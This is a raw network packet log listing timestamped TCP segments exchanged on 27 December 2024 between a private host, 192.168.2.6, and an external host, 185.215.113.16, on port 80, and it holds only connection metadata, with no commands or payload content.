Dec 27, 2024 08:52:21.050244093 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.050302982 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.050304890 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.050344944 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.051831007 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.051889896 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.051922083 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.051964045 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.053349972 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.053410053 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.053442001 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.053483009 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.054935932 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.055006981 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.055062056 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.055116892 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.056504011 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.056571007 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.056633949 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.056744099 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.058062077 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.058124065 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.058159113 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.058214903 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.059607983 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.059669018 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.059683084 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.059735060 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.061151981 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.061243057 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.061249971 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.061290979 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.062606096 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.062664986 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.062683105 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.062731981 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.064080000 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.064143896 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.064208031 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.064280987 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.065609932 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.065706968 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.065720081 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.065772057 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.067044020 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.067102909 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.067166090 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.067218065 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.068564892 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.068618059 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.068664074 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.068691015 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.070003986 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.070066929 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.070074081 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.070118904 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.071410894 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.071474075 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.071542025 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.071594000 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.072993994 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.073029041 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.073122978 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.074295998 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.074362040 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.074476957 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.074536085 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.075727940 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.075787067 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.075896978 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.075946093 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.077121019 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.077174902 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.077235937 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.077279091 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.078512907 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.078566074 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.078617096 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.078660965 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.079948902 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.080003023 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.080082893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.080133915 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.081356049 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.081410885 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.081442118 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.081484079 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.082755089 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.082834005 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.082859993 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.082922935 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.084141016 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.084197044 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.084248066 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.084289074 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.085551023 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.085609913 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.085688114 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.085732937 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.086951017 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.087004900 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.087040901 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.087081909 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.088381052 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.088439941 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.088476896 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.088526011 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.089772940 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.089827061 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.089862108 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.089915991 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.091202021 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.091257095 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.091306925 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.091352940 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.092600107 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.092655897 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.092711926 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.092757940 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.093988895 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.094090939 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.094115973 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.094181061 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.095424891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.095483065 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.095520020 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.095567942 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.096817970 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.096877098 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.096904993 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.096949100 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.098210096 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.098273039 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.098299980 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.098345995 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.099617958 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.099684000 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.099704027 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.099746943 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.101176023 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.101237059 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.101263046 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.101311922 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.102453947 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.102510929 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.102541924 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.102588892 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.103885889 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.103939056 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.103991032 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.104032993 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.105237961 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.105292082 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.105350018 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.105416059 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.106650114 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.106700897 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.106766939 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.106812954 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.107997894 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.108055115 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.221007109 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.221123934 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.221122980 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.221194983 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.221463919 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.221512079 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.221659899 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.221707106 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.222489119 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.222543955 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.222604990 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.222651005 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.223539114 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.223602057 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.223634958 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.223681927 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.224565983 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.224620104 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.224651098 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.224699020 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.225624084 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.225680113 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.225714922 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.225756884 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.226592064 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.226640940 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.226705074 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.226752996 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.227595091 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.227644920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.227708101 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.227751970 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.228610039 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.228662968 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.228714943 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.228760958 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.229612112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.229665995 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.229717016 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.229762077 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.230588913 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.230639935 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.230685949 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.230730057 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.231601954 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.231656075 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.231695890 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.231741905 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.232590914 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.232665062 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.232676029 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.232726097 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.233629942 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.233679056 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.233944893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.233990908 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.234553099 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.234597921 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.234657049 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.234704018 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.235546112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.235599041 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.235651016 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.235690117 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.236548901 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.236598969 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.236649036 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.236692905 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.237521887 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.237572908 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.237627983 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.237673998 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.238563061 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.238612890 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.238890886 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.238938093 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.239502907 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.239552975 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.239613056 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.239658117 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.240513086 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.240560055 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.240792990 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.240835905 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.241535902 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.241588116 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.241588116 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.241627932 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.242491961 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.242542982 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.242573977 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.242611885 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.243520021 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.243576050 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.243635893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.243705988 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.244482040 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.244532108 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.244571924 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.244621992 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.245496035 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.245549917 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.245647907 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.245697021 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.246462107 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.246517897 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.246597052 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.246643066 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.247435093 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.247486115 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.247515917 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.247560978 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.248461962 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.248517990 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.248590946 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.248632908 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.249429941 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.249484062 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.249535084 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.249578953 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.250427008 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.250475883 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.250547886 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.250591040 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.251425982 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.251477957 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.251513004 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.251557112 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.252450943 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.252502918 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.252572060 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.252614021 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.253401995 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.253448009 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.253504038 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.253546953 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.254410028 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.254479885 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.254508972 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.254549026 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.255376101 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.255422115 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.255507946 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.255554914 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.256376982 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.256424904 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.256458044 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.256504059 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.257427931 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.257478952 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.257595062 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.257642031 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.258352995 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.258399963 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.258465052 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.258512020 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.259357929 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.259404898 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.259474993 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.259520054 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.260349989 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.260404110 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.260437965 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.260483980 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.261440039 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.261491060 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.261569977 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.261616945 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.262461901 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.262526035 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.262533903 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.262557983 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.263309002 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.263359070 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.263416052 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.263458967 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.264306068 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.264353037 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.264386892 CET	80	49970	185.215.113.16	192.168.2.6
